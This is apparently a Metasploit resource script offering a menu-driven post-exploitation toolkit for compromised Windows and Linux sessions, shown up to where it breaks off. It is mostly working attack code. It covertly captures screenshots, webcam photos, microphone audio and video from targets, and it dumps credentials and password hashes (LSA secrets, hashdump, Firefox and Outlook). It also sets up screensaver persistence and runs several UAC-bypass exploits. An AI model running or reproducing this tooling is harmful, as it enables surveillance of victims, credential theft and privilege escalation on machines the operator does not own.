-
Notifications
You must be signed in to change notification settings - Fork 39
/
post_exploitation.rc
921 lines (852 loc) · 38.9 KB
/
post_exploitation.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
<ruby>
help = %Q|
Description:
Resource File to assiste in session post_exploitation tasks.
This script displays a menu of commands based on session platform (windows/linux).
It also querys the database for session Id to be able to run post-modules againts it.
'This script can NOT be run in meterpreter prompt because ERB code its not accepted'
'if none value (setg) has povided then this script will use is own default values'
Execute in msfconsole:
setg REC_TIME <record-time-in-seconds>
setg MSF_PATH <absoluct-path-to-metasploit>
resource <path-to-script>/post_exploitation.rc
Author:
r00t-3xp10it <pedroubuntu10[at]gmail.com>
|
## timeout to record audio/vid from target (sec)
if (framework.datastore['REC_TIME'] == nil or framework.datastore['REC_TIME'] == '')
run_single("setg REC_TIME 10")
end
print_line(help)
Rex::sleep(2.0)
user_input=''
path_input=''
timeout_input=''
## Make sure we have any sessions active before continue
unless (framework.sessions.length > 0)
print_error("[ERROR] No active sessions found in database.")
Rex::sleep(1.0)
run_single("sessions")
ss_help = %Q|
This resource script requires one 'open session' active to be able to
display to attacker a post-exploitation menu based on target platform.
'So.. Exploit one target (open session) before playing with this script'
|
print_line(ss_help)
run_single("back")
return nil
end
## Store session ID (last active)
framework.sessions.each_key do |sid|
session = framework.sessions[sid]
## Store RHOST (xhost) and RPORT (xport)
xhost = session.tunnel_peer.split(':')[0]
xport = session.tunnel_peer.split(':')[1]
## Sellect resource file MENU based on session.platform
if (session.platform =~ /Windows/i)
run_single("sessions")
win = %Q|
Command Description platform
------- ----------- --------
workspace Work in redteam database multi
record Record session activity multi
rec_target Record target activity Windows
gather Run post gather modules Windows
creds Run credentials modules Windows
resource Run command list rc file Windows
persistence Run MITRE ATT&CK T1180 Windows
bypass_uac Run bypass UAC modules Windows
play_youtube Spawn video (remote PC) Windows
cve_suggest Run exploit_suggester multi
exit Exit post_exploitation multi
|
print_line(win)
Rex::sleep(0.5)
print "[Command]: "
user_input = gets.chomp
## set global var session ID
run_single("setg SESSION #{sid}")
Rex::sleep(1.0)
## Work in redteam workspace db
if user_input == "workspace"
print_good("Building new workspace database")
Rex::sleep(1.0)
print "[+] Input workspace name to create: "
wk_name = gets.chomp
run_single("workspace -a #{wk_name}")
print_line("")
run_single("workspace -v")
print_line("")
Rex::sleep(1.0)
print_line("REMARK")
print_line("======")
print_line(" All session data will be stored in *#{wk_name} workspace")
print_line(" 'To delete workspace: workspace -d #{wk_name}'")
print_line("")
print_line("")
run_single("unsetg all")
## Function to record session activity
elsif user_input == "record"
print_status("Recording msfconsole activity.")
rand = Rex::Text.rand_text_alpha(5)
local = Dir.pwd
Rex::sleep(1.0)
run_single("spool post_#{rand}.log")
run_single("sessions -C localtime -i #{framework.datastore['SESSION']}")
print_line("")
run_single("sessions -v")
print_line("REMARK")
print_line("======")
print_line(" Logfile its beeing written in: #{local}/post_#{rand}.log")
print_line(" 'And it only stops recording when we exit msfconsole'")
print_line("")
print_line("")
run_single("unsetg all")
## Function to record target system activity
elsif user_input == "rec_target"
print_status("Recording target activity.")
Rex::sleep(1.0)
run_single("sessions -C localtime -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
run_single("sessions -C webcam_list -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
tar = %Q|
This function records target activity using meterpreter scripts:
'screenshot : webcam_snap : record_mic : webcam_stream'
setg REC_TIME <record-time-in-seconds> (before run this script)
press < CTRL+C > to abort function(s)
|
print_line(tar)
print "[+] Take a screenshot of remote desktop? (y/n): "
question = gets.chomp
if question == "y" or question == "Y" or question == "yes" or question == "YES"
run_single("sessions -C screenshot -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
end
print "[+] Take a foto using remote camera? (y/n): "
question = gets.chomp
if question == "y" or question == "Y" or question == "yes" or question == "YES"
run_single("sessions -C webcam_snap -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
end
print "[+] Record audio from target microphone? (y/n): "
question = gets.chomp
if question == "y" or question == "Y" or question == "yes" or question == "YES"
run_single("sessions -C \"record_mic -d #{framework.datastore['REC_TIME']}\" -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
end
print "[+] Record video from target camera? (y/n): "
question = gets.chomp
if question == "y" or question == "Y" or question == "yes" or question == "YES"
run_single("sessions -C \"webcam_stream -d #{framework.datastore['REC_TIME']}\" -i #{framework.datastore['SESSION']}")
end
run_single("unsetg all")
## Function to run msf gather modules
elsif user_input == "gather"
print_status("Running post gather modules.")
Rex::sleep(1.0)
run_single("sessions -C localtime -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
run_single("sessions -C sysinfo -i #{framework.datastore['SESSION']}")
run_single("sessions -C getuid -i #{framework.datastore['SESSION']}")
run_single("use post/windows/gather/checkvm")
run_single("run")
run_single("use post/multi/gather/wlan_geolocate")
run_single("run")
Rex::sleep(1.5)
run_single("use post/windows/gather/enum_shares")
run_single("run")
run_single("use post/windows/gather/enum_logged_on_users")
run_single("run")
run_single("use post/windows/gather/enum_computers")
run_single("run")
run_single("use post/windows/gather/enum_applications")
run_single("run")
run_single("sessions -C enumdesktops -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
run_single("sessions -C show_mount -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
## Metasploit framework absoluct path setg variable declaration (user input?)
if (framework.datastore['MSF_PATH'] == nil or framework.datastore['MSF_PATH'] == '')
run_single("setg MSF_PATH /usr/share/metasploit-framework")
end
## Make sure that enum_protections.rb exists (msfdb)
aV_recon = "#{framework.datastore['MSF_PATH']}/modules/post/windows/recon/enum_protections.rb"
unless (File.exist?(aV_recon))
print_error("[ERROR] enum_protections not found in msfdb")
print_error("[ERROR] Download post-module and install it before running this option")
Rex::sleep(1.5)
nof = %Q|
How To Fix
----------
Exit current session and msfconsole < exit -y >
Then execute the follow commands in a new terminal windows:
sudo wget https://raw.githubusercontent.com/r00t-3xp10it/resource_files/master/aux/enum_protections.rb
path=$(locate modules/post/windows/recon \| grep -v '\\doc' \| grep -v '\\documentation' \| head -n 1)
sudo cp enum_protections.rb $path/enum_protections.rb
sudo msfconsole -q -x 'db_status;reload_all'
|
print_line(nof)
print_status("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
return nil
else
print_good("enum_protections post-module found.")
Rex::sleep(1.0)
end
run_single("use post/windows/recon/enum_protections")
run_single("set BANNER false")
run_single("run")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("unset all")
## Function to run msf creds modules
elsif user_input == "creds"
print_status("Running post creds modules.")
Rex::sleep(1.0)
run_single("sessions -C localtime -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
run_single("use post/windows/gather/credentials/windows_autologin")
run_single("run")
run_single("use post/multi/gather/pidgin_cred")
run_single("run")
run_single("use post/windows/gather/credentials/outlook")
run_single("run")
run_single("use post/windows/gather/credentials/mremote")
run_single("run")
run_single("use post/multi/gather/firefox_creds")
run_single("run")
run_single("sessions -C getsystem -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
run_single("use post/windows/gather/lsa_secrets")
run_single("run")
run_single("use post/windows/gather/smart_hashdump")
run_single("run")
run_single("use post/windows/gather/enum_patches")
run_single("run")
run_single("unsetg all")
## Function to run multi console commands list (rc file)
elsif user_input == "resource"
print_status("Running list of console commands (rc file)")
Rex::sleep(1.0)
rc_help = %Q|
This function allow users to run a list of console/meterpreter
core commands present inside a local file (one-per-line-entrys)
|
print_line(rc_help)
print "[+] Absoluct path of rc file to run (local): "
f_path = gets.chomp
unless (File.exist?(f_path))
print_error("[ERROR] resource file not found in local PC")
print_error("[ERROR] PATH: #{f_path}")
Rex::sleep(1.5)
return nil
end
run_single("use post/multi/gather/run_console_rc_file")
run_single("set RESOURCE #{f_path}")
run_single("run")
run_single("unsetg all")
run_single("unset all")
## Function to run T1180 persistence module
elsif user_input == "persistence"
print_status("Running post persistence module.")
Rex::sleep(1.0)
print_warning("Use double backslash(s) to define windows paths.")
print "[+] Absoluct path of payload (remote): "
bin_path = gets.chomp
## Metasploit framework absoluct path setg variable declaration (user input?)
if (framework.datastore['MSF_PATH'] == nil or framework.datastore['MSF_PATH'] == '')
run_single("setg MSF_PATH /usr/share/metasploit-framework")
end
## Make sure that SCRNSAVE_T1180_persistence.rb exists (msfdb)
t1180_recon = "#{framework.datastore['MSF_PATH']}/modules/post/windows/escalate/SCRNSAVE_T1180_persistence.rb"
unless (File.exist?(t1180_recon))
print_error("[ERROR] SCRNSAVE_T1180_persistence not found in msfdb")
print_error("[ERROR] Download post-module and install it before running this option")
Rex::sleep(1.5)
nof = %Q|
How To Fix
----------
Exit current session and msfconsole < exit -y >
Then execute the follow commands in a new terminal windows:
sudo wget https://raw.githubusercontent.com/r00t-3xp10it/resource_files/master/aux/SCRNSAVE_T1180_persistence.rb
path=$(locate modules/post/windows/escalate \| grep -v '\\doc' \| grep -v '\\documentation' \| head -n 1)
sudo cp SCRNSAVE_T1180_persistence.rb $path/SCRNSAVE_T1180_persistence.rb
sudo msfconsole -q -x 'db_status;reload_all'
|
print_line(nof)
print_status("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
return nil
else
print_good("SCRNSAVE_T1180_persistence post-module found.")
Rex::sleep(0.5)
end
run_single("use post/windows/escalate/SCRNSAVE_T1180_persistence")
run_single("set APPL_PATH #{bin_path}")
run_single("run")
run_single("unsetg all")
run_single("unset all")
## Function to run various bypass uac modules
elsif user_input == "bypass_uac"
print_status("Bypass UAC (privilege escalation)")
run_single("sessions -C localtime -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
by_uac = %Q|
Command Module Name
------- -----------
bypassuac exploit/windows/local/bypassuac
eventvwr exploit/windows/local/bypassuac_eventvwr
fodhelper exploit/windows/local/bypassuac_fodhelper
comhijack exploit/windows/local/bypassuac_comhijack
sluihijack exploit/windows/local/bypassuac_sluihijack
|
print_line(by_uac)
Rex::sleep(0.5)
print "[Command]: "
user_uac = gets.chomp
## Run msf post-modules
if user_uac == "bypassuac"
run_single("use exploit/windows/local/bypassuac")
run_single("set SESSION #{framework.datastore['SESSION']}")
run_single("exploit")
elsif user_uac == "eventvwr"
run_single("use exploit/windows/local/bypassuac_eventvwr")
run_single("set SESSION #{framework.datastore['SESSION']}")
run_single("exploit")
elsif user_uac == "fodhelper"
run_single("use exploit/windows/local/bypassuac_fodhelper")
run_single("set SESSION #{framework.datastore['SESSION']}")
run_single("exploit")
elsif user_uac == "comhijack"
run_single("use exploit/windows/local/bypassuac_comhijack")
run_single("set SESSION #{framework.datastore['SESSION']}")
run_single("exploit")
elsif user_uac == "sluihijack"
run_single("use exploit/windows/local/bypassuac_sluihijack")
run_single("set SESSION #{framework.datastore['SESSION']}")
run_single("exploit")
else
print_error("[ABORT] Command not supported: #{user_uac}")
Rex::sleep(1.0)
run_single("unsetg all")
return nil
end
## Function to spawn youtube video remote
elsif user_input == "play_youtube"
print_status("Spawning remote video.")
Rex::sleep(1.0)
run_single("sessions -C localtime -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
you_help = %Q|
Description
-----------
This module spawn a youtube video on remote machine.
IF none value its inputed then this module will use
the default youtube url video < 35Yq7ae6F8E >
How To Use youtube urls
-----------------------
https://www.youtube.com/watch?v=35Yq7ae6F8E
we just need to extract the url after: watch?v=
|
print_line(you_help)
print "[+] Input youtube URL: "
youtube_url = gets.chomp
if youtube_url.nil? or youtube_url == '' or youtube_url == ' '
youtube_url = "35Yq7ae6F8E"
end
run_single("use post/multi/manage/play_youtube")
run_single("set SESSION #{framework.datastore['SESSION']}")
run_single("set VID #{youtube_url}")
run_single("run")
run_single("unsetg all")
## Function to run local_exploit_suggester (multi platforms)
elsif user_input == "cve_suggest"
print_status("Running local_exploit_suggester module.")
Rex::sleep(1.0)
run_single("use post/multi/recon/local_exploit_suggester")
run_single("run")
print_status("Running freevulnsearch.nse module.")
Rex::sleep(1.0)
nse = "/usr/share/nmap/scripts/freevulnsearch.nse"
unless (File.exist?(nse))
print_error("[ERROR] freevulnsearch.nse script not found in nmap db.")
print_error("[ERROR] Download nse script and install it before running this rc file.")
Rex::sleep(1.0)
nof = %Q|
How To Fix
----------
Exit current session and msfconsole < exit -y >
Then execute the follow commands in a new terminal windows:
sudo wget https://raw.githubusercontent.com/OCSAF/freevulnsearch/master/freevulnsearch.nse
sudo cp freevulnsearch.nse /usr/share/nmap/scripts/freevulnsearch.nse
sudo nmap --script-updatedb
|
print_line(nof)
print_error("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
return nil
else
print_good("freevulnsearch.nse script found.")
Rex::sleep(0.5)
end
## running freevulnsearch.nse againts xhost
print_warning("Running CVE checks againts: #{xhost}")
Rex::sleep(1.0)
run_single("db_nmap -sV -T4 -Pn --script=freevulnsearch.nse #{xhost}")
run_single("unsetg all")
## Function to exit 'windows' platform menu
elsif user_input == "exit" or user_input == "e" or user_input == "E"
run_single("unsetg all")
run_single("back")
return nil
else
## User input error - wrong command input
print_error("[ABORT] Command not supported: #{user_input}")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("back")
return nil
end
## Sellect resource file menu based on session.platform
elsif (session.platform =~ /Linux/i)
run_single("sessions")
lin = %Q|
Command Description platform
------- ----------- --------
workspace Work in redteam database multi
record Record session activity multi
rec_target Record target activity Linux
gather Run post gather modules Linux
creds Run credentials modules Linux
agressive Run agressive gather Linux
resource Run command list rc file Linux
cve_suggest Run exploit_suggester multi
exit Exit post_exploitation multi
|
print_line(lin)
Rex::sleep(0.5)
print "[Command]: "
user_input = gets.chomp
## set global var session ID
run_single("setg SESSION #{sid}")
## Metasploit framework absoluct path setg variable declaration (user input?)
if (framework.datastore['MSF_PATH'] == nil or framework.datastore['MSF_PATH'] == '')
run_single("setg MSF_PATH /usr/share/metasploit-framework")
end
## Work in redteam workspace db
if user_input == "workspace"
print_good("Building new workspace database")
Rex::sleep(1.0)
print "[+] Input workspace name to create: "
wk_name = gets.chomp
run_single("workspace -a #{wk_name}")
print_line("")
run_single("workspace -v")
print_line("")
Rex::sleep(1.0)
print_line("REMARK")
print_line("======")
print_line(" All session data will be stored in *#{wk_name} workspace")
print_line(" 'To delete workspace: workspace -d #{wk_name}'")
print_line("")
print_line("")
run_single("unsetg all")
## Function to record session activity
elsif user_input == "record"
print_status("Recording msfconsole activity.")
rand = Rex::Text.rand_text_alpha(5)
local = Dir.pwd
Rex::sleep(1.0)
run_single("spool post_#{rand}.log")
run_single("sessions -C localtime -i #{framework.datastore['SESSION']}")
print_line("")
print_line("REMARK")
print_line("======")
print_line(" Logfile its beeing written in: #{local}/post_#{rand}.log")
print_line(" 'And it only stops recording when we exit msfconsole'")
print_line("")
print_line("")
run_single("unsetg all")
## Function to record target system activity
elsif user_input == "rec_target"
print_status("Recording target activity.")
Rex::sleep(1.0)
run_single("sessions -C localtime -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
run_single("sessions -C webcam_list -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
tar = %Q|
This function records target activity using meterpreter scripts:
'webcam_snap : mic_list : mic_start : webcam_stream'
setg REC_TIME <record-time-in-seconds> (before run this script)
press < CTRL+C > to abort function(s)
|
print_line(tar)
print "[+] Take a foto using remote camera? (y/n): "
question = gets.chomp
if question == "y" or question == "Y" or question == "yes" or question == "YES"
run_single("sessions -C webcam_snap -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
end
print "[+] Record audio from target microphone? (y/n): "
question = gets.chomp
if question == "y" or question == "Y" or question == "yes" or question == "YES"
run_single("sessions -C mic_list -i #{framework.datastore['SESSION']}")
run_single("sessions -C \"mic_start -d #{framework.datastore['REC_TIME']}\" -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
end
print "[+] Record video from target camera? (y/n): "
question = gets.chomp
if question == "y" or question == "Y" or question == "yes" or question == "YES"
run_single("sessions -C \"webcam_stream -d #{framework.datastore['REC_TIME']}\" -i #{framework.datastore['SESSION']}")
end
run_single("unsetg all")
## Function to run msf gather modules
elsif user_input == "gather"
print_status("Running post gather modules.")
Rex::sleep(1.0)
run_single("sessions -C localtime -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
run_single("sessions -C sysinfo -i #{framework.datastore['SESSION']}")
run_single("sessions -C getuid -i #{framework.datastore['SESSION']}")
run_single("sessions -C webcam_list -i #{framework.datastore['SESSION']}")
Rex::sleep(1.0)
run_single("use post/multi/gather/enum_vbox")
run_single("run")
run_single("use post/multi/gather/wlan_geolocate")
run_single("run")
Rex::sleep(1.5)
## Make sure that linux_hostrecon.rb exists (msfdb)
linux_recon = "#{framework.datastore['MSF_PATH']}/modules/post/linux/gather/linux_hostrecon.rb"
unless (File.exist?(linux_recon))
print_error("[ERROR] linux_hostrecon.rb not found in msfdb")
print_error("[ERROR] Download post-module and install it before running this option")
Rex::sleep(1.5)
nof = %Q|
How To Fix
----------
Exit current session and msfconsole < exit -y >
Then execute the follow commands in a new terminal windows:
sudo wget https://raw.githubusercontent.com/r00t-3xp10it/resource_files/master/aux/linux_hostrecon.rb
path=$(locate modules/post/linux/gather \| grep -v '\\doc' \| grep -v '\\documentation' \| head -n 1)
sudo cp linux_hostrecon.rb $path/linux_hostrecon.rb
sudo msfconsole -q -x 'db_status;reload_all'
|
print_line(nof)
print_status("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
return nil
else
print_good("linux_hostrecon.rb post-module found.")
Rex::sleep(0.5)
end
run_single("use post/linux/gather/linux_hostrecon")
run_single("run")
run_single("unsetg all")
run_single("unset all")
## Function to run msf creds modules
elsif user_input == "creds"
print_status("Running post creds modules.")
Rex::sleep(1.0)
run_single("use post/linux/gather/enum_psk")
run_single("run")
run_single("use post/multi/gather/firefox_creds")
run_single("run")
## Make sure that linux_hostrecon.rb exists (msfdb)
linux_recon = "#{framework.datastore['MSF_PATH']}/modules/post/linux/gather/linux_hostrecon.rb"
unless (File.exist?(linux_recon))
print_error("[ERROR] linux_hostrecon.rb not found in msfdb")
print_error("[ERROR] Download post-module and install it before running this option")
Rex::sleep(1.5)
nof = %Q|
How To Fix
----------
Exit current session and msfconsole < exit -y >
Then execute the follow commands in a new terminal windows:
sudo wget https://raw.githubusercontent.com/r00t-3xp10it/resource_files/master/aux/linux_hostrecon.rb
path=$(locate modules/post/linux/gather \| grep -v '\\doc' \| grep -v '\\documentation' \| head -n 1)
sudo cp linux_hostrecon.rb $path/linux_hostrecon.rb
sudo msfconsole -q -x 'db_status;reload_all'
|
print_line(nof)
print_status("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
return nil
else
print_good("linux_hostrecon.rb post-module found.")
Rex::sleep(0.5)
end
run_single("use post/linux/gather/linux_hostrecon")
run_single("set CREDENTIALS_DUMP true")
run_single("run")
run_single("unsetg all")
run_single("unset all")
## Function to run agressive module
elsif user_input == "agressive"
print_status("Running post agressive gather modules.")
Rex::sleep(1.0)
## Make sure that linux_hostrecon.rb exists (msfdb)
linux_recon = "#{framework.datastore['MSF_PATH']}/modules/post/linux/gather/linux_hostrecon.rb"
unless (File.exist?(linux_recon))
print_error("[ERROR] linux_hostrecon.rb not found in msfdb")
print_error("[ERROR] Download post-module and install it before running this option")
Rex::sleep(1.5)
nof = %Q|
How To Fix
----------
Exit current session and msfconsole < exit -y >
Then execute the follow commands in a new terminal windows:
sudo wget https://raw.githubusercontent.com/r00t-3xp10it/resource_files/master/aux/linux_hostrecon.rb
path=$(locate modules/post/linux/gather \| grep -v '\\doc' \| grep -v '\\documentation' \| head -n 1)
sudo cp linux_hostrecon.rb $path/linux_hostrecon.rb
sudo msfconsole -q -x 'db_status;reload_all'
|
print_line(nof)
print_status("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
return nil
else
print_good("linux_hostrecon.rb post-module found.")
Rex::sleep(0.5)
end
run_single("use post/linux/gather/linux_hostrecon")
run_single("set AGRESSIVE_DUMP true")
run_single("run")
run_single("unsetg all")
run_single("unset all")
## Function to run multi console commands list (rc file)
elsif user_input == "resource"
print_status("Running list of console commands (rc file)")
Rex::sleep(1.0)
rc_help = %Q|
This function allow users to run a list of console/meterpreter
core commands present inside a local file (one-per-line-entries)
|
print_line(rc_help)
print "[+] Absoluct path of rc file to run (local): "
f_path = gets.chomp
unless (File.exist?(f_path))
print_error("[ERROR] resource file not foundin local PC")
print_error("[ERROR] PATH: #{f_path}")
Rex::sleep(1.5)
return nil
end
run_single("use post/multi/gather/run_console_rc_file")
run_single("set RESOURCE #{f_path}")
run_single("run")
run_single("unsetg all")
run_single("unset all")
## Function to run local_exploit_suggester (multi platforms)
elsif user_input == "cve_suggest"
print_status("Running local_exploit_suggester module.")
Rex::sleep(1.0)
run_single("use post/multi/recon/local_exploit_suggester")
run_single("run")
print_status("Running freevulnsearch.nse module.")
Rex::sleep(1.0)
nse = "/usr/share/nmap/scripts/freevulnsearch.nse"
unless (File.exist?(nse))
print_error("[ERROR] freevulnsearch.nse script not found in nmap db.")
print_error("[ERROR] Download nse script and install it before running this rc file.")
Rex::sleep(1.0)
nof = %Q|
How To Fix
----------
Exit current session and msfconsole < exit -y >
Then execute the follow commands in a new terminal windows:
sudo wget https://raw.githubusercontent.com/OCSAF/freevulnsearch/master/freevulnsearch.nse
sudo cp freevulnsearch.nse /usr/share/nmap/scripts/freevulnsearch.nse
sudo nmap --script-updatedb
|
print_line(nof)
print_error("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
return nil
else
print_good("freevulnsearch.nse script found.")
end
## running freevulnsearch.nse againts xhost
print_warning("Running CVE checks againts: #{xhost}")
Rex::sleep(1.0)
run_single("db_nmap -sV -T4 -Pn --script=freevulnsearch.nse #{xhost}")
run_single("unsetg all")
## Function to exit 'linux' platform menu
elsif user_input == "exit" or user_input == "e" or user_input == "E"
run_single("unsetg all")
run_single("back")
return nil
else
## User input error - wrong command input
print_error("[ABORT] Command not supported: #{user_input}")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("back")
return nil
end
## Resource script cant find any platform in database
else
print_error("[ERROR] session platform: #{session.platform} not supported?")
print_warning("Execute 'scan' command to scan for target platform?")
Rex::sleep(1.5)
print_status("Displaying only [multi] platform options.")
Rex::sleep(1.5)
print_line("")
run_single("sessions")
multi = %Q|
Command Description platform
------- ----------- --------
scan scan db_host for platform?
workspace Work in redteam database multi
record Record session activity multi
gather Run post gather modules multi
cve_suggest Run exploit_suggester multi
exit Exit post_exploitation multi
|
print_line(multi)
Rex::sleep(0.5)
print "[Command]: "
user_input = gets.chomp
## set global var session ID
run_single("setg SESSION #{sid}")
## Work in redteam workspace db
if user_input == "workspace"
print_good("Building new workspace database")
Rex::sleep(1.0)
print "[+] Input workspace name to create: "
wk_name = gets.chomp
run_single("workspace -a #{wk_name}")
print_line("")
run_single("workspace -v")
print_line("")
Rex::sleep(1.0)
print_line("REMARK")
print_line("======")
print_line(" All session data will be stored in *#{wk_name} workspace")
print_line(" 'To delete workspace: workspace -d #{wk_name}'")
print_line("")
print_line("")
run_single("unsetg all")
## Function to record session activity
elsif user_input == "record"
print_status("Recording msfconsole activity.")
rand = Rex::Text.rand_text_alpha(5)
local = Dir.pwd
Rex::sleep(1.0)
run_single("spool post_#{rand}.log")
run_single("sessions -C localtime -i #{framework.datastore['SESSION']}")
print_line("")
print_line("REMARK")
print_line("======")
print_line(" Logfile its beeing written in: #{local}/post_#{rand}.log")
print_line(" 'And it only stops recording when we exit msfconsole'")
print_line("")
print_line("")
run_single("unsetg all")
## Function to run multi platforms post module
elsif user_input == "gather"
print_status("Running multi platforms post modules.")
Rex::sleep(1.0)
run_single("sessions -C sysinfo -i #{framework.datastore['SESSION']}")
run_single("sessions -C webcam_list -i #{framework.datastore['SESSION']}")
print_line("")
Rex::sleep(1.0)
run_single("use post/multi/gather/wlan_geolocate")
run_single("run")
Rex::sleep(1.5)
run_single("use post/multi/gather/enum_vbox")
run_single("run")
run_single("use post/multi/gather/env")
run_single("run")
run_single("use post/multi/gather/firefox_creds")
run_single("run")
run_single("unsetg all")
run_single("unset all")
## Function to scan for taget platform (os_name)
elsif user_input == "scan"
print_status("Please wait, trying to discover: #{xhost} platform")
run_single("db_nmap -sV -Pn -T4 -O #{xhost}")
run_single("hosts -C address,name,os_name,purpose")
Rex::sleep(1.0)
## Check if we have a target platform now..
framework.sessions.each_key do |x|
session = framework.sessions[x]
unless (session.platform =~ /Windows/i or session.platform =~ /Linux/i)
ss_help = %Q|
This resource script requires one open session active to be able to
present to attackers a post-exploitation menu based on target platform.
|
print_line(ss_help)
else
print_good("session platform detected: #{session.platform}")
end
print_line("")
end
run_single("unsetg all")
run_single("unset all")
## Function to run local_exploit_suggester (multi platforms)
elsif user_input == "cve_suggest"
print_status("Running local_exploit_suggester module.")
Rex::sleep(1.0)
run_single("use post/multi/recon/local_exploit_suggester")
run_single("run")
print_status("Running freevulnsearch.nse module.")
Rex::sleep(1.0)
nse = "/usr/share/nmap/scripts/freevulnsearch.nse"
unless (File.exist?(nse))
print_error("[ERROR] freevulnsearch.nse script not found in nmap db.")
print_error("[ERROR] Download nse script and install it before running this rc file.")
Rex::sleep(1.0)
nof = %Q|
How To Fix
----------
Exit current session and msfconsole < exit -y >
Then execute the follow commands in a new terminal windows:
sudo wget https://raw.githubusercontent.com/OCSAF/freevulnsearch/master/freevulnsearch.nse
sudo cp freevulnsearch.nse /usr/share/nmap/scripts/freevulnsearch.nse
sudo nmap --script-updatedb
|
print_line(nof)
print_error("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
return nil
else
print_good("freevulnsearch.nse script found.")
end
## running freevulnsearch.nse againts xhost
xhost = framework.db.hosts.map(&:address).join(' ')
print_warning("Running CVE checks againts: #{xhost}")
Rex::sleep(1.0)
run_single("db_nmap -sV -T4 -Pn --script=freevulnsearch.nse #{xhost}")
run_single("unsetg all")
## Function to exit 'multi' platform menu
elsif user_input == "exit" or user_input == "e" or user_input == "E"
run_single("unsetg all")
run_single("back")
return nil
else
